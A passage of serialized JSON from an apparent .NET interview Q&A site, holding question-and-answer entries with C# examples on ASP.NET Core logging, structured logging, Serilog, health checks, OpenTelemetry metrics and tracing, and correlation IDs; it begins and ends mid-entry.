string.Intern(c);\nConsole.WriteLine(ReferenceEquals(a, d)); \u002F\u002F True — d is now the interned version\n\n\u002F\u002F Check if a string is already interned without adding it:\nstring? existing = string.IsInterned(\"hello\"); \u002F\u002F returns the interned ref or null\n```\n\nString interning applies automatically to compile-time literals across all\nassemblies. Runtime strings (built from `StringBuilder`, read from DB, etc.) are\nNOT interned by default. Never compare strings with `==` expecting reference\nidentity — always use `==` (which calls `string.Equals`) or `.Equals()`.\n\n**Rule of thumb:** Use `==` or `.Equals()` for string value comparison — never\n`ReferenceEquals`. Interning is a CLR detail, not a correctness tool. Only call\n`string.Intern` when you have profiled and confirmed it reduces memory for a large\nset of repeated strings.\n",{"description":94},"C# value types vs reference types — stack and heap allocation, boxing costs, struct vs class trade-offs, ref parameters, and Span\u003CT>.","dotnet\u002Ffundamentals\u002Fvalue-vs-reference-types","Value vs Reference Types","Yt8M21EN0NFY0pWsYDEUkJ_Z83QUPSeNzNCtboY58ic",{"id":1067,"title":1068,"body":1069,"description":94,"difficulty":96,"extension":97,"framework":10,"frameworkSlug":8,"meta":1073,"navigation":99,"order":29,"path":1074,"questions":1075,"questionsCount":163,"related":164,"seo":1136,"seoDescription":1137,"stem":1138,"subtopic":1139,"topic":81,"topicSlug":83,"updated":168,"__hash__":1140},"qa\u002Fdotnet\u002Fperformance-deployment\u002Flogging-monitoring.md","Logging Monitoring",{"type":91,"value":1070,"toc":1071},[],{"title":94,"searchDepth":29,"depth":29,"links":1072},[],{},"\u002Fdotnet\u002Fperformance-deployment\u002Flogging-monitoring",[1076,1080,1084,1088,1092,1096,1100,1104,1108,1112,1116,1120,1124,1128,1132],{"id":1077,"difficulty":104,"q":1078,"a":1079},"ilogger-basics","How does the built-in ILogger work in ASP.NET Core?","`ILogger\u003CT>` is the standard logging abstraction in ASP.NET Core. It is\nregistered automatically and injected like any other service. The generic\nparameter `T` becomes the **category name** that appears in every log entry,\nletting you filter by class or namespace.\n\n```csharp\npublic class OrderService\n{\n    private readonly ILogger\u003COrderService> _logger;\n\n    public OrderService(ILogger\u003COrderService> logger) => _logger = logger;\n\n    public async Task\u003COrder> PlaceOrderAsync(Order order)\n    {\n        _logger.LogInformation(\"Placing order {OrderId} for customer {CustomerId}\",\n            order.Id, order.CustomerId);\n\n        try\n        {\n            var result = await _repository.SaveAsync(order);\n            _logger.LogInformation(\"Order {OrderId} saved successfully\", result.Id);\n            return result;\n        }\n        catch (Exception ex)\n        {\n            \u002F\u002F Exception is the first parameter when logging errors:\n            _logger.LogError(ex, \"Failed to place order {OrderId}\", order.Id);\n            throw;\n        }\n    }\n}\n\n\u002F\u002F Configuration in appsettings.json — control minimum levels per namespace:\n\u002F\u002F {\n\u002F\u002F \"Logging\": {\n\u002F\u002F \"LogLevel\": {\n\u002F\u002F \"Default\":             \"Information\",\n\u002F\u002F \"Microsoft.AspNetCore\": \"Warning\",\n\u002F\u002F \"MyApp.Data\":          \"Debug\"\n\u002F\u002F }\n\u002F\u002F }\n\u002F\u002F }\n```\n\nUse **message templates** with named placeholders (`{OrderId}`) rather than\nstring interpolation (`$\"Order {order.Id}\"`). Structured logging providers\ncapture placeholders as separate fields, enabling rich querying in log aggregators.\n\n**Rule of thumb:** Always use message templates, never string interpolation.\n`LogInformation($\"Order {id}\")` stores one string; `LogInformation(\"Order {Id}\", id)`\nstores a structured document with a searchable `Id` field.\n",{"id":1081,"difficulty":104,"q":1082,"a":1083},"log-levels","What are the log levels in .NET and when should each be used?",".NET defines six log levels in ascending severity. The configured minimum level\nfilters out everything below it, so lower-severity messages cost nothing at runtime\nwhen they are below the threshold.\n\n```csharp\n\u002F\u002F Levels in order — Trace (0) through Critical (5):\n_logger.LogTrace(\"Entering GetProductAsync(id={Id})\", id);       \u002F\u002F 0 — per-step traces\n_logger.LogDebug(\"Cache miss for product {Id}\", id);             \u002F\u002F 1 — developer diagnostics\n_logger.LogInformation(\"Order {Id} placed successfully\", id);    \u002F\u002F 2 — normal business events\n_logger.LogWarning(\"Retry {Attempt} for order {Id}\", attempt, id); \u002F\u002F 3 — unexpected but handled\n_logger.LogError(ex, \"Failed to save order {Id}\", id);           \u002F\u002F 4 — failure, action needed\n_logger.LogCritical(ex, \"Database connection lost\");             \u002F\u002F 5 — system down\n\n\u002F\u002F Guard against expensive computation when level is disabled:\nif (_logger.IsEnabled(LogLevel.Debug))\n    _logger.LogDebug(\"Full order payload: {Payload}\", JsonSerializer.Serialize(order));\n\n\u002F\u002F Common level strategy by environment:\n\u002F\u002F Development: Debug (verbose, includes framework internals)\n\u002F\u002F Staging:     Information (business events, warnings)\n\u002F\u002F Production:  Warning (only unexpected or error events)\n```\n\n| Level | Use case |\n|-------|----------|\n| Trace | Step-by-step tracing for deep debugging |\n| Debug | Developer diagnostics (loop values, cache state) |\n| Information | Normal business events (order placed, user logged in) |\n| Warning | Handled unexpected conditions (retry, degraded mode) |\n| Error | Unhandled failures that need investigation |\n| Critical | System-wide failures requiring immediate action |\n\n**Rule of thumb:** Log `Information` for every significant business event —\nthese are the facts you want in an audit trail. Log `Warning` when you handle\nan error gracefully but something unexpected happened. Log `Error` only for\nfailures that actually matter.\n",{"id":1085,"difficulty":96,"q":1086,"a":1087},"structured-logging","What is structured logging and why is it preferred over plain text logging?","**Structured logging** captures log entries as key-value documents rather than\nflat strings. This allows log aggregators (Seq, Elasticsearch, Splunk) to query,\nfilter, and aggregate on individual fields — something impossible with plain text.\n\n```csharp\n\u002F\u002F Plain text — one unsearchable string:\n_logger.LogInformation($\"Order {order.Id} for customer {order.CustomerId} total {order.Total}\");\n\u002F\u002F Log: \"Order 42 for customer 99 total 150.00\"\n\n\u002F\u002F Structured — document with searchable fields:\n_logger.LogInformation(\n    \"Order {OrderId} placed for {CustomerId}, total {Total:C}\",\n    order.Id, order.CustomerId, order.Total);\n\u002F\u002F Log document: { \"OrderId\": 42, \"CustomerId\": 99, \"Total\": 150.00,\n\u002F\u002F \"@t\": \"...\", \"@l\": \"Information\", ... }\n\n\u002F\u002F Querying structured logs in Seq or Kibana:\n\u002F\u002F OrderId = 42\n\u002F\u002F Total > 100 AND @l = 'Error'\n\u002F\u002F CustomerId = 99 AND @t > '2026-06-01'\n\n\u002F\u002F Destructure objects — capture all properties with @:\n_logger.LogInformation(\"Processing {@Order}\", order);\n\u002F\u002F Captures: Order.Id, Order.Sku, Order.Total, Order.CustomerId as separate fields\n\n\u002F\u002F Avoid destructuring large objects — it serializes the whole graph:\n\u002F\u002F _logger.LogInformation(\"Context {@DbContext}\", dbContext); \u002F\u002F thousands of fields!\n\u002F\u002F _logger.LogInformation(\"DB query completed for {EntityType}\", typeof(Order).Name);\n```\n\nStructured logging transforms log files from write-only archives into\nqueryable datasets. You can answer \"how many orders over $100 failed last\nThursday?\" without parsing strings.\n\n**Rule of thumb:** Every significant log entry should capture the entity ID\nand the relevant business context as named fields. Never log by concatenating\nstrings — you will want to query those fields later.\n",{"id":1089,"difficulty":96,"q":1090,"a":1091},"serilog","How do you configure Serilog in an ASP.NET Core application?","**Serilog** is the most popular third-party logging library for .NET. It\nintegrates with `ILogger\u003CT>` so existing code needs no changes, but adds\nrich sink support (files, Seq, Elasticsearch, Application Insights) and\noutput templates.\n\n```csharp\n\u002F\u002F dotnet add package Serilog.AspNetCore\n\u002F\u002F dotnet add package Serilog.Sinks.Console\n\u002F\u002F dotnet add package Serilog.Sinks.File\n\n\u002F\u002F Program.cs — configure Serilog before building the host:\nLog.Logger = new LoggerConfiguration()\n    .MinimumLevel.Information()\n    .MinimumLevel.Override(\"Microsoft.AspNetCore\", LogEventLevel.Warning)\n    .Enrich.FromLogContext()                \u002F\u002F adds scope properties to every event\n    .Enrich.WithMachineName()\n    .WriteTo.Console(new JsonFormatter())   \u002F\u002F structured JSON to stdout\n    .WriteTo.File(\n        path: \"logs\u002Fapp-.log\",\n        rollingInterval: RollingInterval.Day,\n        outputTemplate: \"[{Timestamp:HH:mm:ss} {Level:u3}] {Message:lj}{NewLine}{Exception}\")\n    .WriteTo.Seq(\"http:\u002F\u002Fseq:5341\")         \u002F\u002F central log server\n    .CreateLogger();\n\nbuilder.Host.UseSerilog();                  \u002F\u002F replaces the built-in providers\n\n\u002F\u002F appsettings.json-driven config (recommended for production flexibility):\nLog.Logger = new LoggerConfiguration()\n    .ReadFrom.Configuration(builder.Configuration)\n    .CreateLogger();\n\n\u002F\u002F Request logging middleware — one log line per HTTP request with timing:\napp.UseSerilogRequestLogging(opts =>\n{\n    opts.MessageTemplate =\n        \"{RequestMethod} {RequestPath} responded {StatusCode} in {Elapsed:0.0000} ms\";\n    opts.EnrichDiagnosticContext = (diagCtx, httpCtx) =>\n        diagCtx.Set(\"UserId\", httpCtx.User.FindFirst(\"sub\")?.Value ?? \"anon\");\n});\n```\n\n**Rule of thumb:** Use `UseSerilogRequestLogging()` to replace ASP.NET Core's\nverbose default request log (which emits two events per request) with one\nstructured event per request that includes timing, status code, and custom fields.\n",{"id":1093,"difficulty":96,"q":1094,"a":1095},"log-scopes","What are log scopes in .NET and when do you use them?","**Log scopes** add ambient context properties to every log entry emitted within\na `using` block. This is essential for correlating all logs from one request or\noperation without passing extra parameters through every method call.\n\n```csharp\n\u002F\u002F ILogger.BeginScope — add fields to all logs within the using block:\npublic async Task\u003COrder> PlaceOrderAsync(Order order)\n{\n    using (_logger.BeginScope(new Dictionary\u003Cstring, object>\n    {\n        [\"OrderId\"]    = order.Id,\n        [\"CustomerId\"] = order.CustomerId,\n        [\"CorrelationId\"] = Activity.Current?.Id ?? Guid.NewGuid().ToString(),\n    }))\n    {\n        \u002F\u002F Every log inside this using block carries OrderId + CustomerId:\n        _logger.LogInformation(\"Validating order\");         \u002F\u002F has OrderId\n        await ValidateAsync(order);\n        _logger.LogInformation(\"Saving order to database\"); \u002F\u002F has OrderId\n        await _repository.SaveAsync(order);\n        _logger.LogInformation(\"Sending confirmation email\"); \u002F\u002F has OrderId\n        await _emailService.SendAsync(order);\n    }\n    \u002F\u002F Outside the using — scope properties are gone\n    _logger.LogInformation(\"Done\"); \u002F\u002F no OrderId here\n}\n\n\u002F\u002F Scopes nest — inner scopes add to outer:\nusing (_logger.BeginScope(\"RequestId: {RequestId}\", requestId))\nusing (_logger.BeginScope(\"TenantId: {TenantId}\", tenantId))\n{\n    _logger.LogInformation(\"Processing\"); \u002F\u002F has both RequestId and TenantId\n}\n\n\u002F\u002F In Serilog, Enrich.FromLogContext() is required to pick up scope properties.\n\u002F\u002F In the built-in provider, IncludeScopes must be true (default):\n\u002F\u002F \"Logging\": { \"Console\": { \"IncludeScopes\": true } }\n```\n\n**Rule of thumb:** Use scopes to attach a correlation ID, request ID, or\ntransaction ID at the top of an operation. This makes it trivial to filter\nall logs for one request in any log aggregator.\n",{"id":1097,"difficulty":96,"q":1098,"a":1099},"health-checks","How do you implement health checks in ASP.NET Core?","ASP.NET Core's **health checks** expose a `\u002Fhealth` endpoint that orchestrators\n(Kubernetes, load balancers) probe to decide whether to route traffic to an\ninstance. Checks can verify databases, message brokers, and external services.\n\n```csharp\n\u002F\u002F Program.cs:\nbuilder.Services.AddHealthChecks()\n    .AddDbContextCheck\u003CAppDbContext>()       \u002F\u002F checks EF Core can query\n    .AddRedis(\"localhost:6379\")              \u002F\u002F checks Redis connectivity\n    .AddUrlGroup(new Uri(\"https:\u002F\u002Fapi.partner.com\u002Fhealth\"), \"partner-api\")\n    .AddCheck(\"custom\", () =>               \u002F\u002F arbitrary custom check\n    {\n        var queueDepth = _queue.GetDepth();\n        return queueDepth \u003C 1000\n            ? HealthCheckResult.Healthy($\"Queue depth: {queueDepth}\")\n            : HealthCheckResult.Degraded($\"Queue depth high: {queueDepth}\");\n    }, tags: [\"readiness\"]);\n\n\u002F\u002F Two endpoints — liveness (is it running?) and readiness (can it take traffic?):\napp.MapHealthChecks(\"\u002Fhealth\u002Flive\",  new HealthCheckOptions\n{\n    Predicate = _ => false,  \u002F\u002F no checks — just returns 200 if the process is up\n});\n\napp.MapHealthChecks(\"\u002Fhealth\u002Fready\", new HealthCheckOptions\n{\n    Predicate = check => check.Tags.Contains(\"readiness\"),\n    ResponseWriter = UIResponseWriter.WriteHealthCheckUIResponse, \u002F\u002F rich JSON\n});\n\n\u002F\u002F Response shape (healthy):\n\u002F\u002F { \"status\": \"Healthy\", \"checks\": [{ \"name\": \"...\", \"status\": \"Healthy\" }] }\n```\n\nHealth check packages:\n- `AspNetCore.HealthChecks.SqlServer` \u002F `Npgsql`\n- `AspNetCore.HealthChecks.Redis`\n- `AspNetCore.HealthChecks.UI` for a dashboard\n\n**Rule of thumb:** Always expose separate liveness and readiness probes.\nLiveness (is the process alive?) should never check external dependencies —\na failing database should not kill the process, just take it out of rotation.\n",{"id":1101,"difficulty":206,"q":1102,"a":1103},"metrics-opentelemetry","How do you emit custom metrics in .NET using System.Diagnostics.Metrics?",".NET 8+ has a built-in metrics API in `System.Diagnostics.Metrics`. Metrics\nare counters, histograms, and gauges that can be exported to Prometheus,\nOpenTelemetry, or Application Insights without changing application code.\n\n```csharp\n\u002F\u002F Define a Meter and instruments once (usually a static field):\npublic static class AppMetrics\n{\n    private static readonly Meter _meter = new(\"MyApp.Orders\", \"1.0.0\");\n\n    public static readonly Counter\u003Clong>   OrdersPlaced =\n        _meter.CreateCounter\u003Clong>(\"orders.placed.total\",\n            unit: \"{orders}\", description: \"Total orders placed\");\n\n    public static readonly Histogram\u003Cdouble> OrderTotal =\n        _meter.CreateHistogram\u003Cdouble>(\"orders.total.amount\",\n            unit: \"USD\", description: \"Distribution of order totals\");\n\n    public static readonly ObservableGauge\u003Cint> QueueDepth =\n        _meter.CreateObservableGauge(\"orders.queue.depth\",\n            () => OrderQueue.CurrentDepth, unit: \"{orders}\");\n}\n\n\u002F\u002F Emit metrics in application code:\npublic async Task\u003COrder> PlaceOrderAsync(Order order)\n{\n    var result = await _repo.SaveAsync(order);\n\n    AppMetrics.OrdersPlaced.Add(1, new TagList\n    {\n        { \"region\",  order.Region },\n        { \"channel\", order.Channel },\n    });\n    AppMetrics.OrderTotal.Record(order.Total, new TagList\n    {\n        { \"currency\", order.Currency },\n    });\n\n    return result;\n}\n\n\u002F\u002F Export to Prometheus (dotnet add package OpenTelemetry.Exporter.Prometheus.AspNetCore):\nbuilder.Services.AddOpenTelemetry()\n    .WithMetrics(metrics => metrics\n        .AddMeter(\"MyApp.Orders\")\n        .AddPrometheusExporter());\n\napp.MapPrometheusScrapingEndpoint(\"\u002Fmetrics\");\n```\n\n**Rule of thumb:** Define meters and instruments as static fields — creating\nthem per-request is expensive and causes duplicate registration errors.\nUse tags (dimensions) to slice metrics by region, tenant, or error type\nrather than creating separate instruments per value.\n",{"id":1105,"difficulty":206,"q":1106,"a":1107},"distributed-tracing","What is distributed tracing in .NET and how does OpenTelemetry enable it?","**Distributed tracing** tracks a request as it flows through multiple services.\nEach service adds a span to a shared trace, creating a full timeline that shows\nwhere time was spent and where errors occurred.\n\n```csharp\n\u002F\u002F dotnet add package OpenTelemetry.Extensions.Hosting\n\u002F\u002F dotnet add package OpenTelemetry.Instrumentation.AspNetCore\n\u002F\u002F dotnet add package OpenTelemetry.Instrumentation.Http\n\u002F\u002F dotnet add package OpenTelemetry.Instrumentation.EntityFrameworkCore\n\u002F\u002F dotnet add package OpenTelemetry.Exporter.Jaeger\n\nbuilder.Services.AddOpenTelemetry()\n    .WithTracing(tracing => tracing\n        .AddSource(\"MyApp.Orders\")            \u002F\u002F custom spans from this source\n        .AddAspNetCoreInstrumentation()        \u002F\u002F HTTP requests auto-instrumented\n        .AddHttpClientInstrumentation()        \u002F\u002F outbound HTTP calls\n        .AddEntityFrameworkCoreInstrumentation() \u002F\u002F EF Core queries\n        .AddJaegerExporter(j =>\n            j.AgentHost = \"jaeger\"));          \u002F\u002F export to Jaeger\n\n\u002F\u002F Create custom spans for significant operations:\nprivate static readonly ActivitySource _source = new(\"MyApp.Orders\");\n\npublic async Task\u003COrder> PlaceOrderAsync(Order order)\n{\n    using var activity = _source.StartActivity(\"PlaceOrder\");\n    activity?.SetTag(\"order.id\",       order.Id);\n    activity?.SetTag(\"customer.id\",    order.CustomerId);\n    activity?.SetTag(\"order.total\",    order.Total);\n\n    try\n    {\n        var result = await _repo.SaveAsync(order);\n        activity?.SetStatus(ActivityStatusCode.Ok);\n        return result;\n    }\n    catch (Exception ex)\n    {\n        activity?.SetStatus(ActivityStatusCode.Error, ex.Message);\n        activity?.RecordException(ex);\n        throw;\n    }\n}\n```\n\nThe W3C `traceparent` header propagates the trace ID across service boundaries.\nASP.NET Core reads and forwards this header automatically when\n`AddAspNetCoreInstrumentation()` is configured.\n\n**Rule of thumb:** Add custom spans (`ActivitySource.StartActivity`) for your\nbusiness operations, not just for infrastructure. A Jaeger or Zipkin trace\nthat shows \"HTTP → EF Core → HTTP\" is less useful than one that shows\n\"HTTP → PlaceOrder → ValidateInventory → ChargePayment.\"\n",{"id":1109,"difficulty":96,"q":1110,"a":1111},"exception-middleware-logging","How do you log unhandled exceptions globally in ASP.NET Core?","ASP.NET Core provides two standard mechanisms for global exception handling:\n`UseExceptionHandler` (for non-API responses) and `IExceptionHandler`\n(introduced in .NET 8, interface-based, testable).\n\n```csharp\n\u002F\u002F .NET 8+ — IExceptionHandler (preferred):\npublic class GlobalExceptionHandler : IExceptionHandler\n{\n    private readonly ILogger\u003CGlobalExceptionHandler> _logger;\n\n    public GlobalExceptionHandler(ILogger\u003CGlobalExceptionHandler> logger)\n        => _logger = logger;\n\n    public async ValueTask\u003Cbool> TryHandleAsync(\n        HttpContext httpContext,\n        Exception   exception,\n        CancellationToken ct)\n    {\n        _logger.LogError(exception,\n            \"Unhandled exception on {Method} {Path}: {Message}\",\n            httpContext.Request.Method,\n            httpContext.Request.Path,\n            exception.Message);\n\n        httpContext.Response.StatusCode  = StatusCodes.Status500InternalServerError;\n        httpContext.Response.ContentType = \"application\u002Fproblem+json\";\n\n        await httpContext.Response.WriteAsJsonAsync(new ProblemDetails\n        {\n            Status   = 500,\n            Title    = \"An unexpected error occurred\",\n            Instance = httpContext.Request.Path,\n        }, ct);\n\n        return true; \u002F\u002F handled — stop propagation\n    }\n}\n\n\u002F\u002F Registration:\nbuilder.Services.AddExceptionHandler\u003CGlobalExceptionHandler>();\nbuilder.Services.AddProblemDetails();\napp.UseExceptionHandler();\n\n\u002F\u002F Older approach — UseExceptionHandler with a lambda:\napp.UseExceptionHandler(appError => appError.Run(async context =>\n{\n    var feature = context.Features.Get\u003CIExceptionHandlerFeature>();\n    var ex      = feature?.Error;\n    if (ex is not null)\n        logger.LogError(ex, \"Unhandled exception\");\n    context.Response.StatusCode = 500;\n    await context.Response.WriteAsync(\"An error occurred.\");\n}));\n```\n\n**Rule of thumb:** Use `IExceptionHandler` in .NET 8+ for global exception\nlogging — it's DI-friendly, testable, and can be chained (multiple handlers\ntried in registration order). Always return a `ProblemDetails` JSON response\nrather than a plain string so API clients can parse the error.\n",{"id":1113,"difficulty":206,"q":1114,"a":1115},"logging-performance","How do you avoid performance overhead from logging in hot paths?","Logging is never truly free. Even when a message is below the minimum level,\nthe arguments may be evaluated before the logger can discard them. High-volume\npaths need additional guards.\n\n```csharp\n\u002F\u002F Problem — string interpolation always allocates:\n_logger.LogDebug($\"Processing item {item.Id} with payload {JsonSerializer.Serialize(item)}\");\n\u002F\u002F JsonSerializer.Serialize runs on every call, even if Debug is disabled!\n\n\u002F\u002F Fix 1 — IsEnabled guard:\nif (_logger.IsEnabled(LogLevel.Debug))\n    _logger.LogDebug(\"Processing item {Id} with payload {Payload}\",\n        item.Id, JsonSerializer.Serialize(item));\n\n\u002F\u002F Fix 2 — LoggerMessage.Define (zero-allocation for hot paths):\nprivate static readonly Action\u003CILogger, int, string, Exception?> _logProcessing =\n    LoggerMessage.Define\u003Cint, string>(\n        LogLevel.Debug,\n        new EventId(1001, \"ProcessingItem\"),\n        \"Processing item {Id} with payload {Payload}\");\n\n\u002F\u002F Call site — no allocation if Debug is disabled:\n_logProcessing(_logger, item.Id, item.Payload, null);\n\n\u002F\u002F Fix 3 — [LoggerMessage] source generator (.NET 6+, preferred):\npublic partial class ItemProcessor\n{\n    private readonly ILogger\u003CItemProcessor> _logger;\n\n    [LoggerMessage(Level = LogLevel.Debug,\n                   Message = \"Processing item {Id} with payload {Payload}\")]\n    partial void LogProcessing(int id, string payload);\n\n    public void Process(Item item)\n    {\n        LogProcessing(item.Id, item.Payload); \u002F\u002F zero-alloc if Debug is off\n        \u002F\u002F ...\n    }\n}\n```\n\n`[LoggerMessage]` source generators produce the same zero-allocation code as\n`LoggerMessage.Define` but with a clean, readable call site and compile-time\nvalidation of the message template.\n\n**Rule of thumb:** Use `[LoggerMessage]` source generators in any method called\nmore than ~1000 times per second. For normal business logic paths, the built-in\n`ILogger.LogXxx` with message templates is fast enough.\n",{"id":1117,"difficulty":96,"q":1118,"a":1119},"application-insights","How do you integrate Application Insights with an ASP.NET Core application?","**Application Insights** is Azure's application performance monitoring (APM)\nservice. It collects logs, metrics, traces, and exceptions with minimal\nconfiguration and provides a rich analytics dashboard.\n\n```csharp\n\u002F\u002F dotnet add package Microsoft.ApplicationInsights.AspNetCore\n\n\u002F\u002F Program.cs:\nbuilder.Services.AddApplicationInsightsTelemetry(opts =>\n    opts.ConnectionString = builder.Configuration[\"ApplicationInsights:ConnectionString\"]);\n\n\u002F\u002F appsettings.json:\n\u002F\u002F {\n\u002F\u002F \"ApplicationInsights\": {\n\u002F\u002F \"ConnectionString\": \"InstrumentationKey=...;IngestionEndpoint=...\"\n\u002F\u002F }\n\u002F\u002F }\n\n\u002F\u002F Custom telemetry — track business events:\npublic class OrderService\n{\n    private readonly TelemetryClient _telemetry;\n\n    public async Task\u003COrder> PlaceOrderAsync(Order order)\n    {\n        var result = await _repo.SaveAsync(order);\n\n        \u002F\u002F Track a custom event with properties:\n        _telemetry.TrackEvent(\"OrderPlaced\", new Dictionary\u003Cstring, string>\n        {\n            [\"OrderId\"]    = result.Id.ToString(),\n            [\"CustomerId\"] = order.CustomerId.ToString(),\n            [\"Channel\"]    = order.Channel,\n        }, new Dictionary\u003Cstring, double>\n        {\n            [\"Total\"]    = (double)order.Total,\n            [\"ItemCount\"] = order.Items.Count,\n        });\n\n        return result;\n    }\n}\n\n\u002F\u002F Custom dependency tracking (for non-HTTP dependencies):\nusing var operation = _telemetry.StartOperation\u003CDependencyTelemetry>(\"PaymentGateway\");\noperation.Telemetry.Type   = \"HTTP\";\noperation.Telemetry.Target = \"payment.example.com\";\ntry { await _gateway.ChargeAsync(order); operation.Telemetry.Success = true; }\ncatch { operation.Telemetry.Success = false; throw; }\n```\n\n**Rule of thumb:** Let Application Insights auto-collect HTTP, SQL, and exception\ntelemetry. Add `TrackEvent` only for domain-significant events (order placed,\nsubscription cancelled) that are not captured automatically.\n",{"id":1121,"difficulty":104,"q":1122,"a":1123},"log-filtering-overrides","How do you filter log output by namespace or provider in ASP.NET Core?","The logging framework applies a **minimum level** filter per category (namespace\nor class name) and per provider (Console, File, Application Insights). Filters\nare configured in `appsettings.json` or in code without touching log call sites.\n\n```json\n\u002F\u002F appsettings.json — granular filtering by category and provider:\n{\n  \"Logging\": {\n    \"LogLevel\": {\n      \"Default\":                        \"Information\",\n      \"Microsoft\":                      \"Warning\",\n      \"Microsoft.AspNetCore\":           \"Warning\",\n      \"Microsoft.EntityFrameworkCore\":  \"Warning\",\n      \"Microsoft.EntityFrameworkCore.Database.Command\": \"Information\",\n      \"MyApp.Services.OrderService\":    \"Debug\"\n    },\n    \"Console\": {\n      \"LogLevel\": {\n        \"Default\": \"Warning\"\n      }\n    },\n    \"ApplicationInsights\": {\n      \"LogLevel\": {\n        \"Default\": \"Information\"\n      }\n    }\n  }\n}\n```\n\n```csharp\n\u002F\u002F Equivalent in code — useful for dynamic configuration:\nbuilder.Logging.AddFilter(\"Microsoft.EntityFrameworkCore\", LogLevel.Warning);\nbuilder.Logging.AddFilter\u003CConsoleLoggerProvider>(\"Default\", LogLevel.Warning);\n\n\u002F\u002F Filter by predicate — suppress specific event IDs:\nbuilder.Logging.AddFilter((provider, category, level) =>\n{\n    \u002F\u002F Suppress EF Core command logging in Application Insights to reduce cost:\n    if (provider.Contains(\"ApplicationInsights\") &&\n        category.StartsWith(\"Microsoft.EntityFrameworkCore\"))\n        return false;\n    return level >= LogLevel.Information;\n});\n```\n\nCategory rules are matched by prefix: `Microsoft.AspNetCore` matches\n`Microsoft.AspNetCore.Routing`, `Microsoft.AspNetCore.Mvc`, etc. The most\nspecific matching rule wins.\n\n**Rule of thumb:** In production, set `Microsoft` and `System` namespaces to\n`Warning` and your own application namespaces to `Information`. This cuts log\nvolume by 80% and eliminates noise from framework internals while keeping\nall business events.\n",{"id":1125,"difficulty":96,"q":1126,"a":1127},"enrichers-log-context","How do you enrich log entries with ambient context (user, tenant, request ID) in .NET?","**Log enrichers** add properties to every log entry automatically, without\npassing extra parameters through every method call. ASP.NET Core's `ILogger`\nscopes and Serilog's `LogContext` are the two main mechanisms.\n\n```csharp\n\u002F\u002F Middleware — push ambient context into the log scope for every request:\npublic class LogEnrichmentMiddleware\n{\n    private readonly RequestDelegate _next;\n\n    public LogEnrichmentMiddleware(RequestDelegate next) => _next = next;\n\n    public async Task InvokeAsync(HttpContext ctx, ILogger\u003CLogEnrichmentMiddleware> logger)\n    {\n        var userId   = ctx.User.FindFirst(\"sub\")?.Value   ?? \"anon\";\n        var tenantId = ctx.User.FindFirst(\"tenant\")?.Value ?? \"none\";\n        var traceId  = Activity.Current?.TraceId.ToString()\n                       ?? ctx.TraceIdentifier;\n\n        \u002F\u002F ILogger scope — carried by all loggers in this request:\n        using (logger.BeginScope(new Dictionary\u003Cstring, object>\n        {\n            [\"UserId\"]    = userId,\n            [\"TenantId\"]  = tenantId,\n            [\"TraceId\"]   = traceId,\n        }))\n        {\n            await _next(ctx);\n        }\n    }\n}\n\n\u002F\u002F Register the middleware early in the pipeline:\napp.UseMiddleware\u003CLogEnrichmentMiddleware>();\n\n\u002F\u002F Serilog LogContext — same concept, uses Serilog's enrichment mechanism:\n\u002F\u002F (requires Enrich.FromLogContext() in LoggerConfiguration)\nusing (LogContext.PushProperty(\"UserId\",   userId))\nusing (LogContext.PushProperty(\"TenantId\", tenantId))\n{\n    await _next(ctx);\n}\n\n\u002F\u002F Result — every log entry inside the request automatically includes:\n\u002F\u002F { \"UserId\": \"u-123\", \"TenantId\": \"acme\", \"TraceId\": \"4bf92f3577b34da6...\" }\n```\n\n**Rule of thumb:** Push user ID, tenant ID, and correlation\u002Ftrace ID into the\nlog scope in a single middleware. This makes filtering logs by user or tenant in\nSeq or Kibana a one-field query instead of a grep across unstructured strings.\n",{"id":1129,"difficulty":96,"q":1130,"a":1131},"correlation-id-middleware","How do you propagate a correlation ID across service boundaries in .NET?","A **correlation ID** links all log entries for one logical operation across\nmultiple services. The originating service generates the ID and passes it in\nan HTTP header; downstream services read it, log it, and forward it to their\nown dependencies.\n\n```csharp\n\u002F\u002F Middleware — read or generate a correlation ID for every request:\npublic class CorrelationIdMiddleware\n{\n    private const string HeaderName = \"X-Correlation-Id\";\n    private readonly RequestDelegate _next;\n\n    public CorrelationIdMiddleware(RequestDelegate next) => _next = next;\n\n    public async Task InvokeAsync(HttpContext ctx, ILogger\u003CCorrelationIdMiddleware> logger)\n    {\n        \u002F\u002F Accept an inbound ID (from upstream caller) or generate a new one:\n        var correlationId = ctx.Request.Headers[HeaderName].FirstOrDefault()\n                            ?? Activity.Current?.TraceId.ToString()\n                            ?? Guid.NewGuid().ToString(\"N\");\n\n        \u002F\u002F Echo the ID back in the response header:\n        ctx.Response.Headers[HeaderName] = correlationId;\n\n        \u002F\u002F Push into log scope so every log in this request carries it:\n        using (logger.BeginScope(new Dictionary\u003Cstring, object>\n                   { [\"CorrelationId\"] = correlationId }))\n        {\n            await _next(ctx);\n        }\n    }\n}\n\n\u002F\u002F Forward the correlation ID on outbound HTTP calls (HttpClientFactory):\nbuilder.Services.AddHttpClient(\"downstream\")\n    .AddHttpMessageHandler\u003CCorrelationIdDelegatingHandler>();\n\npublic class CorrelationIdDelegatingHandler : DelegatingHandler\n{\n    private const string HeaderName = \"X-Correlation-Id\";\n\n    protected override Task\u003CHttpResponseMessage> SendAsync(\n        HttpRequestMessage request, CancellationToken ct)\n    {\n        \u002F\u002F Propagate the current trace ID as the correlation header:\n        var traceId = Activity.Current?.TraceId.ToString();\n        if (traceId is not null)\n            request.Headers.TryAddWithoutValidation(HeaderName, traceId);\n\n        return base.SendAsync(request, ct);\n    }\n}\n```\n\nNote: if OpenTelemetry is configured, the W3C `traceparent` header propagates\nthe trace ID automatically via `AddHttpClientInstrumentation()`. A manual\n`X-Correlation-Id` header is still useful for non-OpenTelemetry consumers\n(front-end apps, third-party APIs) that do not understand `traceparent`.\n\n**Rule of thumb:** Use the W3C `traceparent` header as your correlation ID\nwhen all services use OpenTelemetry. Add `X-Correlation-Id` as an alias for\nclients and logs that need a human-readable identifier in dashboards.\n",{"id":1133,"difficulty":206,"q":1134,"a":1135},"dotnet-monitor","What is dotnet-monitor and how does it help diagnose production issues?","**dotnet-monitor** is a sidecar tool that exposes diagnostic APIs (traces,\ndumps, metrics, logs) over HTTP without modifying the application or attaching\na debugger. It is the recommended way to capture diagnostics from containerized\n.NET workloads in production.\n\n```bash\n# Run dotnet-monitor as a sidecar (Docker Compose example):\n# dotnet-monitor listens on localhost:52323 (diagnostic) and 52325 (metrics)\n# and connects to the application via the .NET diagnostic pipe.\n\n# docker-compose.yml snippet:\n# services:\n#   app:\n#     image: myapp:latest\n#   monitor:\n#     image: mcr.microsoft.com\u002Fdotnet\u002Fmonitor:8\n#     